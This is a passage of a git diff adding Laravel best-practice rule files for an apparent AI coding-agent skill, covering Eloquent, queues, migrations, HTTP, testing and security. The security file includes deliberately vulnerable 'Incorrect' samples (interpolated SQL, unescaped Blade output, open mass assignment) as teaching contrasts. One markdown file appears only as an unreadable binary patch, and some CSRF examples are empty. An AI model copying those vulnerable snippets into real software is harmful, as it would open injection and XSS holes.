+return view('users.index', compact('users'));
+```
+
+```blade
+@foreach ($users as $user)
+ {{ $user->profile->name }}
+@endforeach
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/eloquent.md b/.cursor/skills/laravel-best-practices/rules/eloquent.md
new file mode 100644
index 000000000..09cd66a05
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/eloquent.md
@@ -0,0 +1,148 @@
+# Eloquent Best Practices
+
+## Use Correct Relationship Types
+
+Use `hasMany`, `belongsTo`, `morphMany`, etc. with proper return type hints.
+
+```php
+public function comments(): HasMany
+{
+ return $this->hasMany(Comment::class);
+}
+
+public function author(): BelongsTo
+{
+ return $this->belongsTo(User::class, 'user_id');
+}
+```
+
+## Use Local Scopes for Reusable Queries
+
+Extract reusable query constraints into local scopes to avoid duplication.
+
+Incorrect:
+```php
+$active = User::where('verified', true)->whereNotNull('activated_at')->get();
+$articles = Article::whereHas('user', function ($q) {
+ $q->where('verified', true)->whereNotNull('activated_at');
+})->get();
+```
+
+Correct:
+```php
+public function scopeActive(Builder $query): Builder
+{
+ return $query->where('verified', true)->whereNotNull('activated_at');
+}
+
+// Usage
+$active = User::active()->get();
+$articles = Article::whereHas('user', fn ($q) => $q->active())->get();
+```
+
+## Apply Global Scopes Sparingly
+
+Global scopes silently modify every query on the model, making debugging difficult. Prefer local scopes and reserve global scopes for truly universal constraints like soft deletes or multi-tenancy.
+
+Incorrect (global scope for a conditional filter):
+```php
+class PublishedScope implements Scope
+{
+ public function apply(Builder $builder, Model $model): void
+ {
+ $builder->where('published', true);
+ }
+}
+// Now admin panels, reports, and background jobs all silently skip drafts
+```
+
+Correct (local scope you opt into):
+```php
+public function scopePublished(Builder $query): Builder
+{
+ return $query->where('published', true);
+}
+
+Post::published()->paginate(); // Explicit
+Post::paginate(); // Admin sees all
+```
+
+## Define Attribute Casts
+
+Use the `casts()` method (or `$casts` property following project convention) for automatic type conversion.
+
+```php
+protected function casts(): array
+{
+ return [
+ 'is_active' => 'boolean',
+ 'metadata' => 'array',
+ 'total' => 'decimal:2',
+ ];
+}
+```
+
+## Cast Date Columns Properly
+
+Always cast date columns. Use Carbon instances in templates instead of formatting strings manually.
+
+Incorrect:
+```blade
+{{ Carbon::createFromFormat('Y-d-m H-i', $order->ordered_at)->toDateString() }}
+```
+
+Correct:
+```php
+protected function casts(): array
+{
+ return [
+ 'ordered_at' => 'datetime',
+ ];
+}
+```
+
+```blade
+{{ $order->ordered_at->toDateString() }}
+{{ $order->ordered_at->format('m-d') }}
+```
+
+## Use `whereBelongsTo()` for Relationship Queries
+
+Cleaner than manually specifying foreign keys.
+
+Incorrect:
+```php
+Post::where('user_id', $user->id)->get();
+```
+
+Correct:
+```php
+Post::whereBelongsTo($user)->get();
+Post::whereBelongsTo($user, 'author')->get();
+```
+
+## Avoid Hardcoded Table Names in Queries
+
+Never use string literals for table names in raw queries, joins, or subqueries. Hardcoded table names make it impossible to find all places a model is used and break refactoring (e.g., renaming a table requires hunting through every raw string).
+
+Incorrect:
+```php
+DB::table('users')->where('active', true)->get();
+
+$query->join('companies', 'companies.id', '=', 'users.company_id');
+
+DB::select('SELECT * FROM orders WHERE status = ?', ['pending']);
+```
+
+Correct — reference the model's table:
+```php
+DB::table((new User)->getTable())->where('active', true)->get();
+
+// Even better — use Eloquent or the query builder instead of raw SQL
+User::where('active', true)->get();
+Order::where('status', 'pending')->get();
+```
+
+Prefer Eloquent queries and relationships over `DB::table()` whenever possible — they already reference the model's table. When `DB::table()` or raw joins are unavoidable, always use `(new Model)->getTable()` to keep the reference traceable.
+
+**Exception — migrations:** In migrations, hardcoded table names via `DB::table('settings')` are acceptable and preferred. Models change over time but migrations are frozen snapshots — referencing a model that is later renamed or deleted would break the migration.
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/error-handling.md b/.cursor/skills/laravel-best-practices/rules/error-handling.md
new file mode 100644
index 000000000..bb8e7a387
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/error-handling.md
@@ -0,0 +1,72 @@
+# Error Handling Best Practices
+
+## Exception Reporting and Rendering
+
+There are two valid approaches — choose one and apply it consistently across the project.
+
+**Co-location on the exception class** — keeps behavior alongside the exception definition, easier to find:
+
+```php
+class InvalidOrderException extends Exception
+{
+ public function report(): void { /* custom reporting */ }
+
+ public function render(Request $request): Response
+ {
+ return response()->view('errors.invalid-order', status: 422);
+ }
+}
+```
+
+**Centralized in `bootstrap/app.php`** — all exception handling in one place, easier to see the full picture:
+
+```php
+->withExceptions(function (Exceptions $exceptions) {
+ $exceptions->report(function (InvalidOrderException $e) { /* ... */ });
+ $exceptions->render(function (InvalidOrderException $e, Request $request) {
+ return response()->view('errors.invalid-order', status: 422);
+ });
+})
+```
+
+Check the existing codebase and follow whichever pattern is already established.
+
+## Use `ShouldntReport` for Exceptions That Should Never Log
+
+More discoverable than listing classes in `dontReport()`.
+
+```php
+class PodcastProcessingException extends Exception implements ShouldntReport {}
+```
+
+## Throttle High-Volume Exceptions
+
+A single failing integration can flood error tracking. Use `throttle()` to rate-limit per exception type.
+
+## Enable `dontReportDuplicates()`
+
+Prevents the same exception instance from being logged multiple times when `report($e)` is called in multiple catch blocks.
+
+## Force JSON Error Rendering for API Routes
+
+Laravel auto-detects `Accept: application/json` but API clients may not set it. Explicitly declare JSON rendering for API routes.
+
+```php
+$exceptions->shouldRenderJsonWhen(function (Request $request, Throwable $e) {
+ return $request->is('api/*') || $request->expectsJson();
+});
+```
+
+## Add Context to Exception Classes
+
+Attach structured data to exceptions at the source via a `context()` method — Laravel includes it automatically in the log entry.
+
+```php
+class InvalidOrderException extends Exception
+{
+ public function context(): array
+ {
+ return ['order_id' => $this->orderId];
+ }
+}
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/events-notifications.md b/.cursor/skills/laravel-best-practices/rules/events-notifications.md
new file mode 100644
index 000000000..bc43f1997
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/events-notifications.md
@@ -0,0 +1,48 @@
+# Events & Notifications Best Practices
+
+## Rely on Event Discovery
+
+Laravel auto-discovers listeners by reading `handle(EventType $event)` type-hints. No manual registration needed in `AppServiceProvider`.
+
+## Run `event:cache` in Production Deploy
+
+Event discovery scans the filesystem per-request in dev. Cache it in production: `php artisan optimize` or `php artisan event:cache`.
+
+## Use `ShouldDispatchAfterCommit` Inside Transactions
+
+Without it, a queued listener may process before the DB transaction commits, reading data that doesn't exist yet.
+
+```php
+class OrderShipped implements ShouldDispatchAfterCommit {}
+```
+
+## Always Queue Notifications
+
+Notifications often hit external APIs (email, SMS, Slack). Without `ShouldQueue`, they block the HTTP response.
+
+```php
+class InvoicePaid extends Notification implements ShouldQueue
+{
+ use Queueable;
+}
+```
+
+## Use `afterCommit()` on Notifications in Transactions
+
+Same race condition as events — the queued notification job may run before the transaction commits.
+
+## Route Notification Channels to Dedicated Queues
+
+Mail and database notifications have different priorities. Use `viaQueues()` to route them to separate queues.
+
+## Use On-Demand Notifications for Non-User Recipients
+
+Avoid creating dummy models to send notifications to arbitrary addresses.
+
+```php
+Notification::route('mail', 'admin@example.com')->notify(new SystemAlert());
+```
+
+## Implement `HasLocalePreference` on Notifiable Models
+
+Laravel automatically uses the user's preferred locale for all notifications and mailables — no per-call `locale()` needed.
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/http-client.md b/.cursor/skills/laravel-best-practices/rules/http-client.md
new file mode 100644
index 000000000..0a7876ed3
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/http-client.md
@@ -0,0 +1,160 @@
+# HTTP Client Best Practices
+
+## Always Set Explicit Timeouts
+
+The default timeout is 30 seconds — too long for most API calls. Always set explicit `timeout` and `connectTimeout` to fail fast.
+
+Incorrect:
+```php
+$response = Http::get('https://api.example.com/users');
+```
+
+Correct:
+```php
+$response = Http::timeout(5)
+ ->connectTimeout(3)
+ ->get('https://api.example.com/users');
+```
+
+For service-specific clients, define timeouts in a macro:
+
+```php
+Http::macro('github', function () {
+ return Http::baseUrl('https://api.github.com')
+ ->timeout(10)
+ ->connectTimeout(3)
+ ->withToken(config('services.github.token'));
+});
+
+$response = Http::github()->get('/repos/laravel/framework');
+```
+
+## Use Retry with Backoff for External APIs
+
+External APIs have transient failures. Use `retry()` with increasing delays.
+
+Incorrect:
+```php
+$response = Http::post('https://api.stripe.com/v1/charges', $data);
+
+if ($response->failed()) {
+ throw new PaymentFailedException('Charge failed');
+}
+```
+
+Correct:
+```php
+$response = Http::retry([100, 500, 1000])
+ ->timeout(10)
+ ->post('https://api.stripe.com/v1/charges', $data);
+```
+
+Only retry on specific errors:
+
+```php
+$response = Http::retry(3, 100, function (Exception $exception, PendingRequest $request) {
+ return $exception instanceof ConnectionException
+ || ($exception instanceof RequestException && $exception->response->serverError());
+})->post('https://api.example.com/data');
+```
+
+## Handle Errors Explicitly
+
+The HTTP Client does not throw on 4xx/5xx by default. Always check status or use `throw()`.
+
+Incorrect:
+```php
+$response = Http::get('https://api.example.com/users/1');
+$user = $response->json(); // Could be an error body
+```
+
+Correct:
+```php
+$response = Http::timeout(5)
+ ->get('https://api.example.com/users/1')
+ ->throw();
+
+$user = $response->json();
+```
+
+For graceful degradation:
+
+```php
+$response = Http::get('https://api.example.com/users/1');
+
+if ($response->successful()) {
+ return $response->json();
+}
+
+if ($response->notFound()) {
+ return null;
+}
+
+$response->throw();
+```
+
+## Use Request Pooling for Concurrent Requests
+
+When making multiple independent API calls, use `Http::pool()` instead of sequential calls.
+
+Incorrect:
+```php
+$users = Http::get('https://api.example.com/users')->json();
+$posts = Http::get('https://api.example.com/posts')->json();
+$comments = Http::get('https://api.example.com/comments')->json();
+```
+
+Correct:
+```php
+use Illuminate\Http\Client\Pool;
+
+$responses = Http::pool(fn (Pool $pool) => [
+ $pool->as('users')->get('https://api.example.com/users'),
+ $pool->as('posts')->get('https://api.example.com/posts'),
+ $pool->as('comments')->get('https://api.example.com/comments'),
+]);
+
+$users = $responses['users']->json();
+$posts = $responses['posts']->json();
+```
+
+## Fake HTTP Calls in Tests
+
+Never make real HTTP requests in tests. Use `Http::fake()` and `preventStrayRequests()`.
+
+Incorrect:
+```php
+it('syncs user from API', function () {
+ $service = new UserSyncService;
+ $service->sync(1); // Hits the real API
+});
+```
+
+Correct:
+```php
+it('syncs user from API', function () {
+ Http::preventStrayRequests();
+
+ Http::fake([
+ 'api.example.com/users/1' => Http::response([
+ 'name' => 'John Doe',
+ 'email' => 'john@example.com',
+ ]),
+ ]);
+
+ $service = new UserSyncService;
+ $service->sync(1);
+
+ Http::assertSent(function (Request $request) {
+ return $request->url() === 'https://api.example.com/users/1';
+ });
+});
+```
+
+Test failure scenarios too:
+
+```php
+Http::fake([
+ 'api.example.com/*' => Http::failedConnection(),
+]);
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/mail.md b/.cursor/skills/laravel-best-practices/rules/mail.md
new file mode 100644
index 000000000..c7f67966e
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/mail.md
@@ -0,0 +1,27 @@
+# Mail Best Practices
+
+## Implement `ShouldQueue` on the Mailable Class
+
+Makes queueing the default regardless of how the mailable is dispatched. No need to remember `Mail::queue()` at every call site — `Mail::send()` also queues it.
+
+## Use `afterCommit()` on Mailables Inside Transactions
+
+A queued mailable dispatched inside a transaction may process before the commit. Use `$this->afterCommit()` in the constructor.
+
+## Use `assertQueued()` Not `assertSent()` for Queued Mailables
+
+`Mail::assertSent()` only catches synchronous mail. Queued mailables silently pass `assertSent`, giving false confidence.
+
+Incorrect: `Mail::assertSent(OrderShipped::class);` when mailable implements `ShouldQueue`.
+
+Correct: `Mail::assertQueued(OrderShipped::class);`
+
+## Use Markdown Mailables for Transactional Emails
+
+Markdown mailables auto-generate both HTML and plain-text versions, use responsive components, and allow global style customization. Generate with `--markdown` flag.
+
+## Separate Content Tests from Sending Tests
+
+Content tests: instantiate the mailable directly, call `assertSeeInHtml()`.
+Sending tests: use `Mail::fake()` and `assertSent()`/`assertQueued()`.
+Don't mix them — it conflates concerns and makes tests brittle.
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/migrations.md b/.cursor/skills/laravel-best-practices/rules/migrations.md
new file mode 100644
index 000000000..de25aa39c
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/migrations.md
@@ -0,0 +1,121 @@
+# Migration Best Practices
+
+## Generate Migrations with Artisan
+
+Always use `php artisan make:migration` for consistent naming and timestamps.
+
+Incorrect (manually created file):
+```php
+// database/migrations/posts_migration.php ← wrong naming, no timestamp
+```
+
+Correct (Artisan-generated):
+```bash
+php artisan make:migration create_posts_table
+php artisan make:migration add_slug_to_posts_table
+```
+
+## Use `constrained()` for Foreign Keys
+
+Automatic naming and referential integrity.
+
+```php
+$table->foreignId('user_id')->constrained()->cascadeOnDelete();
+
+// Non-standard names
+$table->foreignId('author_id')->constrained('users');
+```
+
+## Never Modify Deployed Migrations
+
+Once a migration has run in production, treat it as immutable. Create a new migration to change the table.
+
+Incorrect (editing a deployed migration):
+```php
+// 2024_01_01_create_posts_table.php — already in production
+$table->string('slug')->unique(); // ← added after deployment
+```
+
+Correct (new migration to alter):
+```php
+// 2024_03_15_add_slug_to_posts_table.php
+Schema::table('posts', function (Blueprint $table) {
+ $table->string('slug')->unique()->after('title');
+});
+```
+
+## Add Indexes in the Migration
+
+Add indexes when creating the table, not as an afterthought. Columns used in `WHERE`, `ORDER BY`, and `JOIN` clauses need indexes.
+
+Incorrect:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained();
+ $table->string('status');
+ $table->timestamps();
+});
+```
+
+Correct:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained()->index();
+ $table->string('status')->index();
+ $table->timestamp('shipped_at')->nullable()->index();
+ $table->timestamps();
+});
+```
+
+## Mirror Defaults in Model `$attributes`
+
+When a column has a database default, mirror it in the model so new instances have correct values before saving.
+
+```php
+// Migration
+$table->string('status')->default('pending');
+
+// Model
+protected $attributes = [
+ 'status' => 'pending',
+];
+```
+
+## Write Reversible `down()` Methods by Default
+
+Implement `down()` for schema changes that can be safely reversed so `migrate:rollback` works in CI and failed deployments.
+
+```php
+public function down(): void
+{
+ Schema::table('posts', function (Blueprint $table) {
+ $table->dropColumn('slug');
+ });
+}
+```
+
+For intentionally irreversible migrations (e.g., destructive data backfills), leave a clear comment and require a forward fix migration instead of pretending rollback is supported.
+
+## Keep Migrations Focused
+
+One concern per migration. Never mix DDL (schema changes) and DML (data manipulation).
+
+Incorrect (partial failure creates unrecoverable state):
+```php
+public function up(): void
+{
+ Schema::create('settings', function (Blueprint $table) { ... });
+ DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']);
+}
+```
+
+Correct (separate migrations):
+```php
+// Migration 1: create_settings_table
+Schema::create('settings', function (Blueprint $table) { ... });
+
+// Migration 2: seed_default_settings
+DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']);
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/queue-jobs.md b/.cursor/skills/laravel-best-practices/rules/queue-jobs.md
new file mode 100644
index 000000000..d4575aac0
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/queue-jobs.md
@@ -0,0 +1,146 @@
+# Queue & Job Best Practices
+
+## Set `retry_after` Greater Than `timeout`
+
+If `retry_after` is shorter than the job's `timeout`, the queue worker re-dispatches the job while it's still running, causing duplicate execution.
+
+Incorrect (`retry_after` ≤ `timeout`):
+```php
+class ProcessReport implements ShouldQueue
+{
+ public $timeout = 120;
+}
+
+// config/queue.php — retry_after: 90 ← job retried while still running!
+```
+
+Correct (`retry_after` > `timeout`):
+```php
+class ProcessReport implements ShouldQueue
+{
+ public $timeout = 120;
+}
+
+// config/queue.php — retry_after: 180 ← safely longer than any job timeout
+```
+
+## Use Exponential Backoff
+
+Use progressively longer delays between retries to avoid hammering failing services.
+
+Incorrect (fixed retry interval):
+```php
+class SyncWithStripe implements ShouldQueue
+{
+ public $tries = 3;
+ // Default: retries immediately, overwhelming the API
+}
+```
+
+Correct (exponential backoff):
+```php
+class SyncWithStripe implements ShouldQueue
+{
+ public $tries = 3;
+ public $backoff = [1, 5, 10];
+}
+```
+
+## Implement `ShouldBeUnique`
+
+Prevent duplicate job processing.
+
+```php
+class GenerateInvoice implements ShouldQueue, ShouldBeUnique
+{
+ public function uniqueId(): string
+ {
+ return $this->order->id;
+ }
+
+ public $uniqueFor = 3600;
+}
+```
+
+## Always Implement `failed()`
+
+Handle errors explicitly — don't rely on silent failure.
+
+```php
+public function failed(?Throwable $exception): void
+{
+ $this->podcast->update(['status' => 'failed']);
+ Log::error('Processing failed', ['id' => $this->podcast->id, 'error' => $exception->getMessage()]);
+}
+```
+
+## Rate Limit External API Calls in Jobs
+
+Use `RateLimited` middleware to throttle jobs calling third-party APIs.
+
+```php
+public function middleware(): array
+{
+ return [new RateLimited('external-api')];
+}
+```
+
+## Batch Related Jobs
+
+Use `Bus::batch()` when jobs should succeed or fail together.
+
+```php
+Bus::batch([
+ new ImportCsvChunk($chunk1),
+ new ImportCsvChunk($chunk2),
+])
+->then(fn (Batch $batch) => Notification::send($user, new ImportComplete))
+->catch(fn (Batch $batch, Throwable $e) => Log::error('Batch failed'))
+->dispatch();
+```
+
+## `retryUntil()` Needs `$tries = 0`
+
+When using time-based retry limits, set `$tries = 0` to avoid premature failure.
+
+```php
+public $tries = 0;
+
+public function retryUntil(): DateTime
+{
+ return now()->addHours(4);
+}
+```
+
+## Use `WithoutOverlapping::untilProcessing()`
+
+Prevents concurrent execution while allowing new instances to queue.
+
+```php
+public function middleware(): array
+{
+ return [new WithoutOverlapping($this->product->id)->untilProcessing()];
+}
+```
+
+Without `untilProcessing()`, the lock extends through queue wait time. With it, the lock releases when processing starts.
+
+## Use Horizon for Complex Queue Scenarios
+
+Use Laravel Horizon when you need monitoring, auto-scaling, failure tracking, or multiple queues with different priorities.
+
+```php
+// config/horizon.php
+'environments' => [
+ 'production' => [
+ 'supervisor-1' => [
+ 'connection' => 'redis',
+ 'queue' => ['high', 'default', 'low'],
+ 'balance' => 'auto',
+ 'minProcesses' => 1,
+ 'maxProcesses' => 10,
+ 'tries' => 3,
+ ],
+ ],
+],
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/routing.md b/.cursor/skills/laravel-best-practices/rules/routing.md
new file mode 100644
index 000000000..e288375d7
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/routing.md
@@ -0,0 +1,98 @@
+# Routing & Controllers Best Practices
+
+## Use Implicit Route Model Binding
+
+Let Laravel resolve models automatically from route parameters.
+
+Incorrect:
+```php
+public function show(int $id)
+{
+ $post = Post::findOrFail($id);
+}
+```
+
+Correct:
+```php
+public function show(Post $post)
+{
+ return view('posts.show', ['post' => $post]);
+}
+```
+
+## Use Scoped Bindings for Nested Resources
+
+Enforce parent-child relationships automatically.
+
+```php
+Route::get('/users/{user}/posts/{post}', function (User $user, Post $post) {
+ // $post is automatically scoped to $user
+})->scopeBindings();
+```
+
+## Use Resource Controllers
+
+Use `Route::resource()` or `apiResource()` for RESTful endpoints.
+
+```php
+Route::resource('posts', PostController::class);
+Route::apiResource('api/posts', Api\PostController::class);
+```
+
+## Keep Controllers Thin
+
+Aim for under 10 lines per method. Extract business logic to action or service classes.
+
+Incorrect:
+```php
+public function store(Request $request)
+{
+ $validated = $request->validate([...]);
+ if ($request->hasFile('image')) {
+ $request->file('image')->move(public_path('images'));
+ }
+ $post = Post::create($validated);
+ $post->tags()->sync($validated['tags']);
+ event(new PostCreated($post));
+ return redirect()->route('posts.show', $post);
+}
+```
+
+Correct:
+```php
+public function store(StorePostRequest $request, CreatePostAction $create)
+{
+ $post = $create->execute($request->validated());
+
+ return redirect()->route('posts.show', $post);
+}
+```
+
+## Type-Hint Form Requests
+
+Type-hinting Form Requests triggers automatic validation and authorization before the method executes.
+
+Incorrect:
+```php
+public function store(Request $request): RedirectResponse
+{
+ $validated = $request->validate([
+ 'title' => ['required', 'max:255'],
+ 'body' => ['required'],
+ ]);
+
+ Post::create($validated);
+
+ return redirect()->route('posts.index');
+}
+```
+
+Correct:
+```php
+public function store(StorePostRequest $request): RedirectResponse
+{
+ Post::create($request->validated());
+
+ return redirect()->route('posts.index');
+}
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/scheduling.md b/.cursor/skills/laravel-best-practices/rules/scheduling.md
new file mode 100644
index 000000000..dfaefa26f
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/scheduling.md
@@ -0,0 +1,39 @@
+# Task Scheduling Best Practices
+
+## Use `withoutOverlapping()` on Variable-Duration Tasks
+
+Without it, a long-running task spawns a second instance on the next tick, causing double-processing or resource exhaustion.
+
+## Use `onOneServer()` on Multi-Server Deployments
+
+Without it, every server runs the same task simultaneously. Requires a shared cache driver (Redis, database, Memcached).
+
+## Use `runInBackground()` for Concurrent Long Tasks
+
+By default, tasks at the same tick run sequentially. A slow first task delays all subsequent ones. `runInBackground()` runs them as separate processes.
+
+## Use `environments()` to Restrict Tasks
+
+Prevent accidental execution of production-only tasks (billing, reporting) on staging.
+
+```php
+Schedule::command('billing:charge')->monthly()->environments(['production']);
+```
+
+## Use `takeUntilTimeout()` for Time-Bounded Processing
+
+A task running every 15 minutes that processes an unbounded cursor can overlap with the next run. Bound execution time.
+
+## Use Schedule Groups for Shared Configuration
+
+Avoid repeating `->onOneServer()->timezone('America/New_York')` across many tasks.
+
+```php
+Schedule::daily()
+ ->onOneServer()
+ ->timezone('America/New_York')
+ ->group(function () {
+ Schedule::command('emails:send --force');
+ Schedule::command('emails:prune');
+ });
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/security.md b/.cursor/skills/laravel-best-practices/rules/security.md
new file mode 100644
index 000000000..524d47e61
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/security.md
@@ -0,0 +1,198 @@
+# Security Best Practices
+
+## Mass Assignment Protection
+
+Every model must define `$fillable` (whitelist) or `$guarded` (blacklist).
+
+Incorrect:
+```php
+class User extends Model
+{
+ protected $guarded = []; // All fields are mass assignable
+}
+```
+
+Correct:
+```php
+class User extends Model
+{
+ protected $fillable = [
+ 'name',
+ 'email',
+ 'password',
+ ];
+}
+```
+
+Never use `$guarded = []` on models that accept user input.
+
+## Authorize Every Action
+
+Use policies or gates in controllers. Never skip authorization.
+
+Incorrect:
+```php
+public function update(Request $request, Post $post)
+{
+ $post->update($request->validated());
+}
+```
+
+Correct:
+```php
+public function update(UpdatePostRequest $request, Post $post)
+{
+ Gate::authorize('update', $post);
+
+ $post->update($request->validated());
+}
+```
+
+Or via Form Request:
+
+```php
+public function authorize(): bool
+{
+ return $this->user()->can('update', $this->route('post'));
+}
+```
+
+## Prevent SQL Injection
+
+Always use parameter binding. Never interpolate user input into queries.
+
+Incorrect:
+```php
+DB::select("SELECT * FROM users WHERE name = '{$request->name}'");
+```
+
+Correct:
+```php
+User::where('name', $request->name)->get();
+
+// Raw expressions with bindings
+User::whereRaw('LOWER(name) = ?', [strtolower($request->name)])->get();
+```
+
+## Escape Output to Prevent XSS
+
+Use `{{ }}` for HTML escaping. Only use `{!! !!}` for trusted, pre-sanitized content.
+
+Incorrect:
+```blade
+{!! $user->bio !!}
+```
+
+Correct:
+```blade
+{{ $user->bio }}
+```
+
+## CSRF Protection
+
+Include `@csrf` in all POST/PUT/DELETE Blade forms. Not needed in Inertia.
+
+Incorrect:
+```blade
+
+```
+
+Correct:
+```blade
+
+```
+
+## Rate Limit Auth and API Routes
+
+Apply `throttle` middleware to authentication and API routes.
+
+```php
+RateLimiter::for('login', function (Request $request) {
+ return Limit::perMinute(5)->by($request->ip());
+});
+
+Route::post('/login', LoginController::class)->middleware('throttle:login');
+```
+
+## Validate File Uploads
+
+Validate MIME type, extension, and size. Never trust client-provided filenames.
+
+```php
+public function rules(): array
+{
+ return [
+ 'avatar' => ['required', 'image', 'mimes:jpg,jpeg,png,webp', 'max:2048'],
+ ];
+}
+```
+
+Store with generated filenames:
+
+```php
+$path = $request->file('avatar')->store('avatars', 'public');
+```
+
+## Keep Secrets Out of Code
+
+Never commit `.env`. Access secrets via `config()` only.
+
+Incorrect:
+```php
+$key = env('API_KEY');
+```
+
+Correct:
+```php
+// config/services.php
+'api_key' => env('API_KEY'),
+
+// In application code
+$key = config('services.api_key');
+```
+
+## Audit Dependencies
+
+Run `composer audit` periodically to check for known vulnerabilities in dependencies. Automate this in CI to catch issues before deployment.
+
+```bash
+composer audit
+```
+
+## Encrypt Sensitive Database Fields
+
+Use `encrypted` cast for API keys/tokens and mark the attribute as `hidden`.
+
+Incorrect:
+```php
+class Integration extends Model
+{
+ protected function casts(): array
+ {
+ return [
+ 'api_key' => 'string',
+ ];
+ }
+}
+```
+
+Correct:
+```php
+class Integration extends Model
+{
+ protected $hidden = ['api_key', 'api_secret'];
+
+ protected function casts(): array
+ {
+ return [
+ 'api_key' => 'encrypted',
+ 'api_secret' => 'encrypted',
+ ];
+ }
+}
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/style.md b/.cursor/skills/laravel-best-practices/rules/style.md
new file mode 100644
index 0000000000000000000000000000000000000000..db689bf774d1763ac3ec520a3874015f5421ff5b
GIT binary patch
literal 4443
zcmb7H|8g6*5$@mj6gxJXBU_TPGV!!SM{H%Ls*_r-YD&%@j)w&AKoK^0I0HCRY@C@s
zM4zxv(rqc3Rg4_YS46<&Z-l2$9V!-oHYUfv=K_C|PowZt|LcB75;$1eTUe78Vh&a+E%-f!B^_a3OyuOh!1j+3CF~xh&C6Q
z*=`XQmT8HzBMo|P)XsSFwYJu8q05a}Nq8>Un^s}fxWXTc+D!ClW^}bJz?`D4gwP={HL5A^SnD#A?)(C5LRZ
zR@zG|^YKcHT#n048H9Q7>X){{QHr&?hq_KiVE^8jd(B0!WswWps*3d4DH&@1R8(75
z(o_>v@X2ovWz1l+2v>~J<^>HjOLin4++uISp>Q7sc=
zww6}<$`&|bt}L=XnXE+ip&z}g_gV`3HWN5EPEweC&DDJI?qyj{CR+efKb>jeTy0sD
zWtYI5qv?KwV!+7*dZa^2FYxC)TK@TN*ocD0=F&btK-5a%Wxf!e#ktaJd!wnwhV#M0
z|0*OpGDbs1S7xm&uSe55UhMTw=n7u9VGYd&_0x8mxwqVDzMxBM#erT(T>>Yi70@@Er6gkS%swHiLEM*)?2zc&R!b$)u{^0DPCWn-5getf^
zqwL-7)#&%+#9FdML00VP=EV)It0I7c8`GuUi-V&wR=MBE?KnxIkV45w0(RotSq(2
z5JBRcjqs-zn!;f43?h8rSf*Nmx8L*f!4K&P%HqkB0gWjgkH;zaLPU;y;I-Mt_EVJK
z5225`U*USQfgjQV7uBs9|qK
z8N(d$vlHhUP>F9>t{hc!
zpk(1NTthYH##aU%kYRXf1Z5TJ#a|1EE=6q<>`nN5$zBCL1$xV1li$&!Wm{EWjJgF+mOY
z2m}FlAue$xtpY2C90Ue9gpB9NU51F{eEN|$BM6k3O;JN_tnZ3KW*Cu$J)pVA7jKfx
zaAd+LQR$pk$3cm3G=+DZ*%xEtGUz;w>gE-uon7-1V<>b8zw_u7Tofqy@TeZsE$W5A
zjUuG+Q%gDQht~?1jCf*ZqtdaFudezoDD5U(J5b>JS*l%5P?3c6WmL#(LhH_DBsfbQ>Dd4CXi
F{|%Ge#T5Vm
literal 0
HcmV?d00001
diff --git a/.cursor/skills/laravel-best-practices/rules/testing.md b/.cursor/skills/laravel-best-practices/rules/testing.md
new file mode 100644
index 000000000..d39cc3ed0
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/testing.md
@@ -0,0 +1,43 @@
+# Testing Best Practices
+
+## Use `LazilyRefreshDatabase` Over `RefreshDatabase`
+
+`RefreshDatabase` runs all migrations every test run even when the schema hasn't changed. `LazilyRefreshDatabase` only migrates when needed, significantly speeding up large suites.
+
+## Use Model Assertions Over Raw Database Assertions
+
+Incorrect: `$this->assertDatabaseHas('users', ['id' => $user->id]);`
+
+Correct: `$this->assertModelExists($user);`
+
+More expressive, type-safe, and fails with clearer messages.
+
+## Use Factory States and Sequences
+
+Named states make tests self-documenting. Sequences eliminate repetitive setup.
+
+Incorrect: `User::factory()->create(['email_verified_at' => null]);`
+
+Correct: `User::factory()->unverified()->create();`
+
+## Use `Exceptions::fake()` to Assert Exception Reporting
+
+Instead of `withoutExceptionHandling()`, use `Exceptions::fake()` to assert the correct exception was reported while the request completes normally.
+
+## Call `Event::fake()` After Factory Setup
+
+Model factories rely on model events (e.g., `creating` to generate UUIDs). Calling `Event::fake()` before factory calls silences those events, producing broken models.
+
+Incorrect: `Event::fake(); $user = User::factory()->create();`
+
+Correct: `$user = User::factory()->create(); Event::fake();`
+
+## Use `recycle()` to Share Relationship Instances Across Factories
+
+Without `recycle()`, nested factories create separate instances of the same conceptual entity.
+
+```php
+Ticket::factory()
+ ->recycle(Airline::factory()->create())
+ ->create();
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/validation.md b/.cursor/skills/laravel-best-practices/rules/validation.md
new file mode 100644
index 000000000..a20202ff1
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/validation.md
@@ -0,0 +1,75 @@
+# Validation & Forms Best Practices
+
+## Use Form Request Classes
+
+Extract validation from controllers into dedicated Form Request classes.
+
+Incorrect:
+```php
+public function store(Request $request)
+{
+ $request->validate([
+ 'title' => 'required|max:255',
+ 'body' => 'required',
+ ]);
+}
+```
+
+Correct:
+```php
